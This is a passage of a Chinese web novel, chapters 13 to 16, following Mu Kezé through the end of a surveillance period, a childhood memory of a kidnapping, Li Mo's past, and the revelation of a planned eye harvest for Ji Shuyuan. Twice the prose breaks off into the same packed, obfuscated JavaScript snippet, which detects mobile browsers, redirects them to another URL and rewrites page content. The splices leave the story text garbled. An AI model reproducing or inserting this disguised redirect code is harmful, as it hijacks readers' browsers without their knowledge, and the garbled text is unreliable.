“如果看过他发表过的文章,就能知道赵怀仁是能力相当出众的人才。”阿德莱德随意搭着方向盘,“这样的人才,在收养季疏原之前竟然完全没有崭露出天赋。而季疏原发表的文章里,字里行间也很有赵怀仁的书写风格。因此不少人还称呼季疏原为‘学二代’。” “实话说,第一次被他们与季疏原齐名的时候,我还有点不乐意。” “直到?” 阿德莱德坦诚:“直到神庭会同时邀请他了。” 人们厌恶二代,厌恶他们不公正的压迫,不平等地拥有了资源。 或许事实恰恰相反。 被压迫的也许另有其人。 白羊啊。 第一次见面时,木柯泽就认为季疏原像。 完美的白羊。 “更阴谋论一点,或许与季桃也有关系。”阿德莱德漫不经心地说,“松尾公社是外岛赫赫有名的金融龙头,与中心区关系匪浅。季桃当初从松尾家孤身离开,到底出于什么样的目的,恐怕只有当事人知道了。” “啊。”他像是突然想起来什么,往后视镜看了眼,“似乎他们身上还有治安局的监听器吧?我这么说没有关系么?” 木柯泽依然托腮,望着这座静谧的城市。 “没事。”她说,“治安局的监听时间是三天。刚刚在凌晨的时候,就已经过了。” “嗯?柯泽女士什么意思?” 一直听他们闲聊的阮小天,意识到大概内容关于自己和韩寒梅,迷惑出声。 阿德莱德倒是了然地笑了:“即使监听器无法工作的话,这两个职员还在呢。也不需要处理吗?” 木柯泽终于收回目光,偏头睨他一眼:“不要乱吓小朋友。” “……” 绕是阮小天也意识到了这简单对话里隐藏的信息量。木柯泽女士总是用最少的话整最大的活。这几天他已经深有体会了。 呆滞地反应了一会他们到底在说什么,他和韩寒梅手忙脚乱取出身上的监听器进行检查。 电源指示灯依然亮着,但侧边的按钮没有反应,小屏上显示“无信号”三个字。 两人面面相觑。 木柯泽懒散的声音从前方,顺着夜风吹到他们耳边:“老季他们家的事情传到治安局,恐怕会被有心人听去闹事,我就关掉了。是三天的监视吧。我答应的你们。现在是第四天凌晨,所以,也不算失约。” 是言而有信的性格。 一直以来,韩寒梅都对领导关于木柯泽“你无法想象她的破坏力”这句话没有清晰的认知。 明明她和阮小天身上的监视器从不离身,韩寒梅确信木柯泽绝对不会有机会碰到它们。但在木柯泽口中,却说失灵就失灵。 而他们毫无办法。甚至如果不是她主动提起,他们仍旧一无所知。 韩寒梅终于看清楚现状。 并不是治安局监视了木柯泽。 而是木柯泽愿意让他们进行监视。 主动与被动,一念间,其实完全不同。 “让谁去监视她,都是一样的。”领导这样说。 当时,这位老领导最后感叹了一句:“如今和以后的和平,只能寄希望于那位可贵的良心吧。上帝保佑,希望她真的能有那种东西。” 14. 第 14 章 这回,阿德莱德倒是没有被门口尽职尽责的保安大叔拦下了。他很快辨认出副座上的木柯泽,满脸“诈骗广告做得还是不够及时”的痛恨,以及对“沉迷美色执迷不悟的失足少女”的惋惜。 木柯泽在单元楼下车,阮小天立刻跟在她身后,而韩寒梅踟蹰不前,犹豫着是否跟上,看上去还想把阮小天拉过来。 她短暂的人生里,崇敬着老师,为治安局的工作而自豪。然而季教授当众隐瞒试图推人入水的凶手,那个凶手是她上学时敬仰的校长,接下来治安局也可能会联合包庇今晚到底发生过什么。 韩寒梅从来没想过,信仰的崩塌是如此简单的一件事。这样的事,又很轻易地在今晚发生了三次。 她摇摇头。 按照柯泽女士的话来讲,这是监视的第四天。 没有人会喜欢跟陌生人抬头不见低头见,更别说带有监视目的。 木柯泽没有急着上楼,她停了一会。 这时候已经很晚了,整座城市陷入沉睡,墙上的爬山虎偶尔被风掀开叶子。灯都关了,要等的人已经回来,这时候没等到的大概也不会再回来了。 除了一楼。 杨疯子的灯永远留着一盏,给她迷路了十七年的女儿。 昏暗的灯光,摇曳窗前。木柯泽缓慢回头,沐浴在暖色光线的脸庞,看起来竟十分温柔。 阿德莱德饶有兴致地看这出午夜时分播放的家庭伦理剧。 “我的腿感觉超级痛诶。”木柯泽语气有点可怜,故意在撒娇,“你不来扶我一下吗?” 大概要对付韩寒梅这种人真的很简单。只需要向她提出一个需要对方的请求。 “……” 韩寒梅一声不吭地跟过来。 她无法拒绝帮助别人。 木柯泽精通韩寒梅的行为规律。 这句话不知为何也触及到了某位精通医学的外国小伙。 阿德莱德直接推门下车,不知道从哪捞了把碘伏棉签。 “不邀请我上楼么?”阿德莱德扶着车窗,他站的地方有些暗,耀眼的金发也黯淡了,开玩笑的语气。 前面几个人要去温暖灯光照耀的地方,看上去真有点把他残忍抛下的错觉。 木柯泽:“……显然我是高估了某些人的边界感。” 木柯泽总觉得这几天一直在捡人回家,就没停过。再这样下去,门口的保安大叔大概要把奇怪的眼神从阮小天,韩寒梅,阿德莱德之类,转而怀疑到她身上了。 以及……她还没来得及购置家具。 真是不够睡的。 在阮小天惊恐的注视下,木柯泽残忍开口:“你跟他挤一挤。” - 邀请阿德莱德完全是个意外了。木柯泽心平气和地想,没关系,事物的发展不可能总是遵从心意的。 但这家伙……他看上去心情好极了,还哼哼着歌。 木柯泽难以言喻地瞥一眼,然后开门。 被韩寒梅倾情装饰过的房间已经比开始增添了不少人情味,但阿德莱德还是在踏进来的一瞬间就发出了不明意味的感叹。 “嗯……” “不乐意的话可以立刻回你的四十米大床。” “我倒是很想邀请柯泽小姐一起呢。” “即使是成年人,拐卖也是非法所得。” “眼下的情景难道不是我被拐卖了么?” “哪有绑匪是把人拐回家里的。” “说不好。兴许是劫色。” “你到底是从哪本言情小说里学的中文。方便扔掉么?” 两个人莫名其妙拌起没什么营养的嘴。韩寒梅突如其来的伤感被冲淡不少。 她面无表情地看着阿德莱德和木柯泽,恢复了往日的严厉。 “再说大声些吧,隔壁单元楼的老大爷耳背,梦里都要听不到你们讲话了。” 木柯泽:“……” 阿德莱德:“……” 阿德莱德悄声,附在木柯泽耳边嘀咕:“原来这位职员小姐私底下是这样的性格么?” 原先还在拌嘴的两人这时候意见一致了。 木柯泽:“是啊。班主任的风格呢。” 韩寒梅皱眉看着两个脑袋凑在一起说小话,不知为何,内心深处隐约有种不舒服,连带着对阿德莱德更加看不惯起来。 她走上前,将他们两个分开。 阮小天也悄悄说:“还是看不得早恋的高三班主任。” “如果是要以阿德莱德的年龄,纠正一下,大概是禁止黄昏恋。”木柯泽说。 阿德莱德颇受打击,捂住胸口,露出心碎的难过表情:“怎么回事。也没有到那种程度吧。” 他简直是个气势惊人的戏精。 “甚至连发送的消息都不能有提示音。”阿德莱德说着说着好像真带上了点感情,那双湖蓝色的眼睛荡漾着波纹。 他这么一说,原本快要忘记的阮小天和韩寒梅也回过神来。 阮小天试探着询问:“姐,刚刚那个邮件……是谁发的啊?” 木柯泽:“……” 她看向阿德莱德。 故意的吧。这人。 绝对是故意的吧。 “不能说吗?看来我们,啊,你们的关系还是不够格啊。”阿德莱德还在煽风点火。 “激将法对我没有用。”木柯泽耸耸肩,“不过倒是也可以说。姑且算是我的粗心大意,但既然提到了,就可以回答。” 她反而转向阮小天和韩寒梅了。阿德莱德微微蹙眉。 兴致缺缺。 他突然不是很想听到这个回答了。 “李默。”木柯泽说,“李默发的。” 阮小天张开的嘴没有合上。韩寒梅一副见鬼的表情。 “请不要用那种眼神。”木柯泽好心解释,“定时邮件。” “什么时候?”阿德莱德问。 “在每个逢年过节的日子。”木柯泽语气平静,“我都会卡点收到他的节日祝福。” “中秋快乐。” 阿德莱德突然说。 “嗯?” “他没有这样亲口告诉过你吧。”阿德莱德撑着头问,“是一直生活在地上,只能通过邮件寄送节日祝福。所以,你们是怎么认识的?” 木柯泽:“打探到隐私了哦。拿不出明确的证据表明我们认识,我是不会回答的。” “也有可能,只是对方从哪篇文章里知道了我的邮箱,然后我又恰巧没有屏蔽陌生人的消息。光靠这一点没有什么说服力。” “柯泽女士……”韩寒梅无奈道。 这就有点耍无赖的态度了。 “慢慢来。”木柯泽心平气和,安静地看了他们一眼,“不要太着急。” “……” 韩寒梅憋着一股气又坐回去。 微波炉这时候“叮”了一声,牛奶热好了。 木柯泽捧着,小口地小口喝,好心跟几人说:“睡吧。已经很晚了。” - 或许是聊天提到李默的缘故,木柯泽晚上做梦梦到他了。 其实她很少梦到过去。 ——当啷。 响亮的脆响。 冷色的金属眼镜框敲打在秋千的锁链上,掌心传来击打过后的余波。木柯泽低头,去看高处。 第一眼看到的是更远的大屏,执政首席正为长孙子翁颁发罗兹奖章,表彰他为解算随机引力波暴胀方程的贡献。 这是神庭会与中心区建交的第一年。 小木柯泽还没有学过怎么荡秋千。她一直被大人们关在充满仪器的房间,只能偷偷溜出来玩。 幸好知道她模样的人并不多,所以她现在能在锁链上玩倒立。 颠倒的世界,在她眼里黑白分明。 正对面是阳光小学,家长们去接刚放学的孩子。培训班的老师们站在街口,念叨着“再不预学就晚了”,“最新量子速读法”,“别让孩子输在起跑线上”。 大概是有学不上在这里倒吊秋千的小木柯泽真的很引人注意,她被用去当作了对照组。 “看吧。不好好学习只会像那边的野娃娃一样,成天没个正形。”大背头造型,油光发亮的男人指着她。 木柯泽觉得有被冒犯到。 那时候她说的话还没有学会委婉的包装。 “你家孩子出生的那一刻起就已经输在了起跑线上。” 清脆的小孩子声音。听上去就没有太大的攻击性。 随便用几个专业词就能唬得她不敢说话。 男人不屑。 “现在知识也要成为一种资源。再不赶紧学的话只有那些富人才能掌握了。知道脑机芯片吗?以后那些神庭会的人都不用学习,知识就会注入他们的脑子。”男人说,“我才不跟你计较,你这小丫头片子。” 木柯泽继续说:“你才大人骗子。” “植入式脑机接口需要长期与大脑组织接触。因为免疫排斥的反应,针对的生物材料近年来一直没有进展。” 那男人脸色变得难看起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330778|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是哪个对家培训班来拆台了? 周围围观的家长本来就多,听起来这个小孩子嘴里蹦出来的词汇更加高级。 “小妹妹懂得很多啊。” “大概偶尔也要劳逸结合?” “是从哪里学的?怎么没有去上课?” “这样玩秋千可以锻炼大脑吗?” “上课太无聊了。我偷偷跑出来玩。”木柯泽诚实地回答,“都是自己找书看的。兴趣爱好。” 这样倒立说话了好一会,木柯泽感到自己的脑子开始充血。她翻了个滚圆,从秋千上一骨溜跳下来,抖了抖小披风,弯腰捡起地上掉落的眼镜框。 她其实没有近视,只是觉得这样戴着很酷。毕竟脑子成天都在转,那么,多少也得给耳朵找点事做吧。 越来越多的家长因为好奇围过来了。这时候马路上响起急促的警笛声,有人踮脚张望一会,频频咋舌。 “又有人在拐孩子。希望治安局能抓到。” “最近真是太乱了。” “小朋友,还是早点回家吧。” “要不要大人送你呀?” 最后一句听起来其实已经非常像拐人了。说话的是个面容和善的老人,木柯泽直愣愣地盯着看了会,然后脆生生答应了,十分高兴地说:“好呀!老爷爷我记得我见过你哦。” 既然小朋友认识,那么也没有警惕的必要。 原本还心有疑虑的家长们放松了,但这个老人反而在背后握紧了手。 木柯泽回忆起来,声音很有劲。 “是在人民医院吧。和几个叔叔阿姨待在一起聊关于贩卖器官的事情,好像最近小孩子的眼角膜价格突然上涨了不少呢。” 人群寂静了一瞬。随后骤然爆发出惊人的怒吼。老人痛骂一声,扛起木柯泽就跑。健步如飞得完全不像老人,大概是化了妆。木柯泽趴在他肩上,奔跑的颠簸中,十分好奇地扯了扯他的脸。 啪叽。 撕扯掉的人脸皮就这样被握在她手中。 木柯泽“哦豁”了一声。 远处的场面极其混乱。人群报警的声音,叫喊追人的声音,惊慌失措又焦急不安的情绪。 “光天化日的!抢小孩了!” “快点去追啊!” “我靠!你们看那边!是神庭会吧!” 嫌疑犯逃跑,一头栽进神庭会的巡逻队是种什么体验? 木柯泽不知道,但她其实很想采访一下这位人贩子的。 路过的军人一个背摔轻松就将老人扔在地上。 这个神庭会的军人也不认识木柯泽,只是将两只手托在她的腋下,像端水一样把她端出来,放置到一边。 和嫌疑犯一起准备打包到治安局的时候,木柯泽听到军官们的对话。 “座位都满了。只能……” “这个小孩子看起来还很镇定,希望不会被他吓哭。” “能不能我跟人换一下?” “算了。大概结果会更加糟糕吧。” 听上去自己似乎要跟一只脾气超差的洪水猛兽坐一辆车了。 木柯泽被军人抱上车的时候,看到一个闭目养神的少年。 零碎的阳光映照下来,水墨一样的头发。 听到周围有动静,他抬眸审视。 睫毛很长,深色的瞳孔,像丢失了一轮月亮的无人夜晚。 木柯泽打量一圈。 这辆车甚至是无人驾驶。 看起来脾气真的很糟糕啊。司机都不敢来。 木柯泽坐在最左边,他坐在最右边,两人中间像隔了一条楚河汉界。 经过的大屏幕上到处放映着执政首席与长孙子翁的会面,播音员激情念诵着长孙子翁的逸闻趣事。 “……作为现今最主流的音律系统,十二平均律其实也与群论有着某种关系。在某次结课中,长孙子翁先生将音乐与抽象代数关联起来,编写出一道最基本的拓扑结构题。据说到现在依然没人能够完整地给出证明。” 木柯泽用那张人脸皮擦了擦车窗,在上面画秋千的锁链和写证明。 片刻,这个长得过于好看的小少年突然开口问:“你手上的是什么?” 他的声音也很好听,平静且清澈。 木柯泽低头看了一眼,然后想起来:“哦。这是一张人脸。刚刚扯下来的,应该还很新鲜。你是想看吗?” “……” 空气里有沉默的三秒钟。 “嗯。不用了,谢谢。” “不客气。你应该的。” 15. 第 15 章 关于李默的记忆并没有很多,他们相隔的时间和距离都太过遥远,久远到她不应该记这么清楚的程度。 被生物钟和窗前的云雀叫醒了。木柯泽起身,洗漱完,走到阳台。 ——在未来,或许你也会趴在窗前,在栏杆上,回望这一生,也记起接下来我们即将发生,但尚未发生的交谈。 清晨的陆外十三城,是从杨疯子的叫嚷声开始醒来。这下阿德莱德大概也听过了。客厅传来人声。 木柯泽捧着一杯凉水,脑子里确实想起了她和李默的对话。 木柯泽继续喝了口水。 凉水的温度从脖颈一路下滑。 街道苏醒了过来,逐渐上涨的人潮,海涛波浪卷携着记忆。 那天没有太阳。 也是同样阴冷的温度,和热闹的人群。 “……也记起接下来我们即将发生,但尚未发生的交谈。”李默漫不经心,又语气随意地说。 小木柯泽说:“我的记忆可能没这么好。” 他们在海边的长椅上坐下。李默递给她一杯装着冰块的西瓜汁。白色的海鸥叽叽喳喳地从他们头顶飞过,胡闹的孩子们也吵得讨嫌。 她破罐子破摔地说:“其实没有必要。我没那么聪明,偶尔还会觉得自己反应很慢。” “你看。快与慢,聪明和愚笨其实都是相对比较出来的。”李默说,“可你是一直在与自己比。” “不应该这样吗。” 相当理所当然的语气。 李默挑起眉毛。他伸手,探向木柯泽的镜框。木柯泽眨眨眼,不理解他要做什么。李默的手指距离她的眼睛很近了,眨眼时候的睫毛已经扑闪到他的指尖,李默的动作毫无停顿,而木柯泽也没有躲开。如果这时候他再靠近一点,就会戳到眼珠。 但木柯泽眼前一花,李默曲起手指,弹了弹她的眉心。 “为什么不躲开。” “嗯?” “我再靠近一点就能够伤到你的眼睛了。” “伤到就伤到了吧。反正你也不会真的把它弄失明。” “之前也是。路上遇到人贩子第一反应应该是报警吧。这么直接地说出来,不担心被拐到什么地方吗?” “治安很好的啦。” “其实不好的啦。” 这家伙说话怪轻浮的。还模仿她的语气惟妙惟肖,木柯泽瞪了他一眼,不客气地用手去拍他。 “很痛诶。”李默呲牙咧嘴地说,“好伤心啊。” 木柯泽迟疑了一下,想起这人之前说过自己身体很弱的话。李默收起过于夸张的表情,反手捏了捏她拍人的指尖。 “太好骗了吧。”他真情实感地说。 “……你这种家伙到底是为什么给神庭会留下了疯子和怪坯的嫌恶印象啊。”木柯泽无语地撤回一只手,“明明是变态吧。” “听起来好像也没有好到哪里去。可以换个词吗?” “不可以。” “伤心得心里要长石头了。” “那请再多长一点石头吧。磨一磨就能变成珍珠了。” “有没有一种可能,其实我不是蚌壳精。” “真的吗?” “真的是的话,你会来河里捞我吗?死了也可以?” 木柯泽喝着冰镇西瓜汁,像骄傲的小孔雀一样晃着羽毛:“好吧。那我到时候姑且尝试一下。看看能不能把你钓起来吧。” 阴冷的乌云飘了过来。 吵闹的海岸边,人来人往,无数的命运和时间就在此刻戛然而止的风声中仓皇交错。 李默的眼睛里倒映出人的轮廓。 “我时常觉得这世界拥挤不堪,而我的心里却空无一物。”李默笑了下,坦然地说,“但你好像恰恰相反。” “你看不到周围的人。” “啊?我觉得还是没有这样瞎的吧。” 木柯泽的眼睛很干净。 里面不会装下,或者停留什么。 回忆里的风声和这时候的重合了。 二十一岁的木柯泽懒洋洋地趴在栏杆上,悠悠晃着杯子里的冰水。她听楼下杨疯子的叫喊声,听保安大叔执勤的动静,听车辆启动,上班族脚步匆匆的声音。明白那时候李默一眼就看到了她什么,那时候到底想说什么。 她的世界空无一人,却感到如此拥挤。 “中秋快乐。”木柯泽回应说。 - 昨晚奔跑的时候脚腕还是有点痛。虽然后来阿德莱德上了药,还是告诉她最好这几天不要多走动。木柯泽当时不以为意,第二天早上醒来的时候发现自己确实变成了小瘸子。 她一瘸一拐地走到露台,放下冰水,开始认真思考今天该整什么活。 这时候客厅传来阿德莱德和其他人交谈的声音。听起来很不满。 “第一天住了阮小天。” “第二天住了韩寒梅。” “第三天住了我。” “接下来是不是季疏原也要跟着进来了?” 客厅那边话音刚落,木柯泽便听见地上有响动,她撑着一条腿,低头俯视看去。 在单元楼的楼下,隔着栅栏和楼下邻居打理的几束吊兰,季疏原就站在那里,脸色疲惫,但面容依旧是板正的。琥珀色的瞳孔向上,就这么安静地注视着她。 木柯泽:“……” 阿德莱德这张嘴。 “今天你的监视应该撤了。”季疏原说,“我有问题想要问你。” 啊。所以这是阿德莱德无论如何昨晚都要留宿的理由么?这两人的脑回路惊人的一致。 木柯泽托着脸,居高临下地问:“那你打算站这里说?” 这种场景很像童话故事里的某个情节,需要她把头发放下来,让季疏原爬到高塔上。 季疏原沉默地望着木柯泽,没有说话。莫名有种对峙的僵持,像是等待长发公主邀请的猎人。 没等到木柯泽的回话,这时候突然有几滴水落在季疏原的脸上。季疏原蹙眉,躲到一边,视线终于从木柯泽的脸上转移。 是旁边的客厅。 木柯泽同样转过头去。 阿德莱德抢了阮小天浇水的花洒。这人高高大大地竖在阳台,举着花洒,就这么面无表情地向季疏原脸上滋。 他冷着一张脸,用义正严辞的播音腔道:“野男人。” 这人阴阳怪气的时候普通话最标准。 木柯泽:“……” 所以他到底是从哪里学来的这些话?言情小说还是八点档的肥皂剧? 不过,无论如何,撤销掉监视这件事确实让木柯泽的行动方便不少,但考虑到木柯泽如今的腿部情况,“方便不少”这个用词还需要再继续斟酌。 阮小天和韩寒梅早早就回治安局述职报告了,客厅还摆放着韩寒梅做的一顿早饭。大概是以为自己的最后一顿,烹饪得格外精心,冰箱里还有她这几天做好的酱料。 客厅混杂着饭香,植物的水气,以及杨疯子萦绕的咒骂。 木柯泽一瘸一拐地蹦到沙发上,勉强用晾衣杆当作拐杖,指了一下沙发:“坐。” 她面前两个高大的男人互相看不顺眼,僵持一会后,才各自坐下。 一左一右,泾渭分明。并且两人都很凑巧地穿了深色的衣服。 白色家居服的木柯泽则在沙发中间。 “……感觉我是奥利奥。” 她嘀咕。 虽然事先没有约好,但人的脑子都是类似的,多少都对面前的场合有所预料。木柯泽嘴里包着韩寒梅的早饭,暂时没怎么说话。 季疏原的神态并不好看。大概通宵了,脸色熬得发白,显得眼底的乌青更加严重,像是一晚没睡,就直奔木柯泽这里。 他开口:“我不希望这里的谈话会有第四个人知道。” 阿德莱德眯起眼睛:“听起来似乎需要我的帮忙。” 不然,照他对季疏原的了解,大概第一句话就是礼貌地先请他先滚。 木柯泽吞下最后一口蘑菇炒肉包子,然后淡定地说:“当然。既然我们昨晚那样尽心尽力地替你表演了,你有从赵怀仁身上问出些什么来么?” “城大与中心区关系匪浅。治安局一直想要搭上中心区,当然不会对他做什么。”季疏原手里握着一个苹果,翻来覆去,只是握着,“他对我说,看在他曾救了我一命的份上。” 木柯泽往后靠在沙发上,坐得很不端正:“如果说是曾经收养了你的话,这些年你替他搞研究干活难道还不够抵消的?” 季疏原:“不是这个。” 他闭了闭眼。再睁开的时候,被奶茶店姐妹认真夸赞过的琥珀色眼睛,在光照下呈现出一种类似玻璃的质地。 “在更早之前。”季疏原说,“赵怀仁说,他救过我的一只眼睛。” 阿德莱德将翘起的那条腿放下来了,他往前靠了一点,敏锐地皱眉:“什么意思?” “如果你对李默的那份尸检报告依然还有印象的话。”季疏原说,“是否他有一只眼睛并不完整?” 阿德莱德沉声:“对。但你是怎么知道的?” 季疏原从带来的文档中翻找出一张陈年的照片。 “这是小时候的你和季桃?”阿德莱德新奇地打量,“后面这个模糊不清的,用红笔圈出来的是谁?” 季疏原将这张照片翻面。 触目惊心的红色字迹暴露在空气中。 阿德莱德一字一顿,他念出声:“对不起,李默。” 李默这个名字,一开始并不被他们放在心上,现在似乎越来越频繁地出现。 “这是季桃的字。” “季桃和松尾信的结婚并不是什么浪漫故事。”季疏原语气冷静,“松尾家患有一种遗传的基因病,需要及时更换某些器官,而他们又极其崇尚血统的纯正。季桃被松尾信骗后生下我。作为验证我是否拥有合格的,为松尾信适配移植的条件,需要取一只眼睛。” 木柯泽在盯着水族箱里的游鱼发呆。 她天生容易被这些动来动去的,无规律的混沌运动吸引。 “我不知道季桃是怎么提早察觉的,也不知道她一个人怎么逃出了外岛。”季疏原说,“赵怀仁告诉我,季桃和他当年联手偷偷调换了眼角膜的手术。用一个跟我类似的人。另一个年龄与我相仿的孩子。” 说到这里,答案已经很显然了。即使是阮小天也会立刻明白这个作为替代品的孩子是谁。 “李默?” “李默。” “如果你现在去人民医院要一份松尾信的检测报告,应该就能确认。”季疏原叙述道,“到底是不是他。” 阿德莱德这时候答应得干脆。他起身直接走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352327|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在治安局取消了监视之后,这间客厅内聊的话题像乘了火箭一样飙升起来。 季疏原简单讲述完昨晚他旁敲侧击,以及威逼利诱从赵怀仁那里套出的话,将资料整理在桌上,打算匆匆告辞了。看上去还有别的工作要忙。 临走之前,季疏原站起来,脸色实在不算好。 他垂眸看向木柯泽。 “迄今为止,所有发生的一切……你是替他来复仇的吧?”季疏原的语气依旧冷静淡然,“我会配合。还是需要我也取下一只眼睛?” “不要擅自给人下结论。” 木柯泽的视线终于从游弋的金鱼上移开,她懒懒散散地说:“你还什么都不知道呢。” “我认为事实已经很清楚了。柯泽女士,有弄错什么吗?” ……真是一个固执的人。 “如果是我要复仇。”木柯泽直视着他浅色的眼睛,语气没有起伏地说,“我不会需要任何一个人的帮助。你现在也根本不会站在这里,知道我的名字。” “……” “好好想想吧。处处都透露着诡异的溺水自杀案,神庭会的天才失踪三个月却出现在陆外十三城——如此大张旗鼓要复仇的对象,当年竟然只是一个什么都不知道就要被挖掉一只眼睛的小孩子。有这么滑稽曲折的思路么?那我真要怀疑李默脖子上长的到底是不是脑子了。” 这话说得毫不客气,还带有木柯泽天生的傲气。偏偏这种傲慢无论在她眼里,还是在大众的认知里都是正常的。 季疏原盯着木柯泽。她斜靠在沙发上,说完这番话后,又移开视线,随着游鱼而移动。过肩的头发还没有打理,有些乱糟糟地散在额前。 语气漫不经心的,好像目中无人都不是贬义,对她而言是客观存在的事实了。 季疏原抿唇。 “熬夜熬昏头了吗?嘴巴附近的神经失灵了?” “……没有。” “为什么这时候会突然笑一下啊?不用被摘眼睛很高兴吗?” “可能稍微有点吧。” 这个突如其来的笑容转瞬即逝,像夜空里的烟花。然后木柯泽突然说:“你靠近一点。” 季疏原便照做。 他个头高,俯下身来很勉强,双手撑在木柯泽旁边的沙发,琥珀色的眼睛紧紧盯着她。 很近的距离,但木柯泽完全没有不自在。她伸出手,向季疏原的眼睛探过去。在即将触碰到睫毛的时候,季疏原下意识地合眼。 “你看。正常人都会保护自己的眼睛。” 冰凉的指尖,触碰到他闭目的眼睛。 - 季疏原往后撤了一步,睁眼。面前依然是那个木柯泽,五官做出的表情却是意外的冷淡。 他的私人医生告诉他情绪不应该压抑,而木柯泽似乎天生缺少了那种东西。 这句话没有任何温度,并不像是她说出来的,仿佛一句深埋于回忆里的复述……他们像是在一个巨大的旧舞台登场,她饰演某个角色,而他则是牵线木偶,任由摆弄,配合她的表演。 季疏原下意识皱眉。 他站直,从这个场景抽离出来。 “柯泽女士。” “既然身体已经产生保护它的欲望了,那当然不会要你的东西。”木柯泽打断他。 季疏原蹙眉。 眼底的浮光一闪而过,木柯泽移开视线:“大家厌恶借助特权的人,本质是厌恶压迫与不平等的对待,不合理地分配资源和财富。好吧大众意义上,顺便说一句,比如说我,比如神庭会。” 不得不借住在赵怀仁的房檐下,成长的道路没有任何父母的帮助,因为养育之恩背负莫须有的偏见,现在得知自己的眼睛也要支付别人换来的代价。 他没有木柯泽那样智多近妖,要走的弯路只多不少。 木柯泽:“但是你没有必要。真的以为自己也是那个压迫者。” 季疏原显而易见地沉默一会。 最终,还是顺着她的话题。 “但这种话,应该由他来说。” “死人怎么可以跟你讲话。诈尸么?那我说的就是他说的。”木柯泽收回手,若无其事道,“从昨晚到现在,你还没有休息过吧。长时间的运作会导致头脑不清醒,现在你应该去睡觉了。” 季疏原这时候领会到了木柯泽惊人的敏锐,即使他们之间尚且未发一言。关于更早之前,倏然又默契的沉默。 在种子破土而出之前,便杞人忧天地更换了培育的泥土,乃至连根拔起。 “柯泽女士,”季疏原轻叹了一声,手指摸上刚刚木柯泽碰过的肌肤,在骨节修长的指缝间看她,“你很善于转移话题。” 木柯泽眨眼,歪头问:“我有转移什么吗?” 晨日的阳光映照在水族箱里,反射的粼粼波光在她的脸颊边晃动。 季疏原望着她不说话,最后从口袋里掏出一袋消毒纱布和药剂。 “这是治疗腿伤的。” “嗯?谢谢。” “其实你已经有用过别的药了吧。虽然很想不去关注到这件事。”季疏原不知道是在谈论药,还是意思其他的什么,他平静道,“但都可以多尝试一下。没有用上的话也可以一直放在那里。或者想要交替使用,一起使用,只要不冲突,我都没问题。” 木柯泽差点一口水呛得要喷出来。 16. 第 16 章 季疏原发表那篇惊世讲话之后便离开了。只剩下木柯泽坐在沙发上看着那包药独自凌乱。 即使是一直以来都对季疏原较为灵活的道德底线有所了解,但当他用在自己身上时就感觉十分新奇。像被薄荷水糊了满脸,然后始作俑者不动声色地先溜走了。最后那句“我都没问题”简直坐实了这番话的暗示和引申义。 没关系。 意思是用药而已。又不是用人。 几秒后,木柯泽便心平气和了。她瘫在沙发上开始打游戏。 电子墓碑是重社交性的恐怖游戏。玩家可以选择不同阵营。 一种是被钉在棺材里的尸体,需要寻找办法逃出自己的坟。可以是自己破棺,也可以通过链接到其他玩家,共同通关。 还有一种可以选择成为墓地管理员,偶尔在扫墓的时候能够随机链接上尸体,还需要躲过游荡在墓园里的鬼。没有注册身份的话,就是什么也不能干的游客。 以及,所有人类阵营的玩家被鬼杀死后都会变成尸体。 总之,游戏难度还是蛮高的。很多人的想法都是,既然结局都要成为尸体,那不如一开始还能给自己挑一个风水好点的地方。 虽然主线是要帮助尸体逃离坟墓,但由于发行以来从未有过成功脱坟而出的先例,玩家们意外发现了这款游戏的社交功能。 与陌生人随机三分钟的聊天,每个尸体都有属于自己的墓碑和墓志铭。 目前选择成为尸体的人数最多。 毕竟只有尸体才能够定制属于墓碑和墓志铭。 有人还将自己喜爱的二次元人物打印上去,做成了流麻棺材。 炫彩坟地发光版。 木柯泽还没选阵营。她顶着个“绝望的寡妇”这个ID,属于游客,在墓地闲逛。 大概这个名字真的很吸引人,很快就有一个尸体链接上她。 一个无趣的人:你好。寡妇。 绝望的寡妇:你好。人。 尸体与尸体也有所不同。有的尸体热衷于慈善事业,帮助管理员躲鬼,争取能成为第一个诈尸的荣耀尸体,毕竟全服尚且没人达成这个成就。 有的尸体较为社恐,就像一具真正的尸体,躺在坑里。世界喧嚣与他们无关。 显然,木柯泽这次碰到的是后者。 一个无趣的人:寡妇。你身后有条高等级鬼。注意一下。 木柯泽没有听到脚步声和系统提示,但她躲开一段,果不其然,带着嘶吼的鬼影从她原先的位置穿过。 绝望的寡妇:谢谢。你是一个好人。 一个无趣的人:只是不希望我的头顶上再来一个坟头。 绝望的寡妇:? 一个无趣的人:我被判定消极游戏。系统要求我必须跟人搭话。 一个无趣的人:而且这里是镜鬼的刷新点,死掉的尸体太多了,坟头一个叠一个,都堆在我身上。 一个无趣的人:啊。已经六句了。还差四句。 绝望的寡妇:我不是管理员。我是游客。你想出坟吗? 一个无趣的人:不用。上班只有加班,坐牢还能减刑。 木柯泽于是点开这人的资料。 用户资料填写的是男,照片很模糊,是一个逆光的人影,白金色的短发,看不清楚年龄。但从之前的语气,大概是刚上班不久,怨气很重的打工人。 墓志铭只有三行。 每天睁开眼睛 看见光的时候,便生出颓然的气息 怎么又多活了一天 这个游戏的界面一直是黑夜,还是没有光的那种黑夜,甚至还没有月亮。看起来是挺适合他这种昼伏夜出的人。 绝望的寡妇:考虑到你的游戏设定。难道不应该是一个无趣的尸体么? 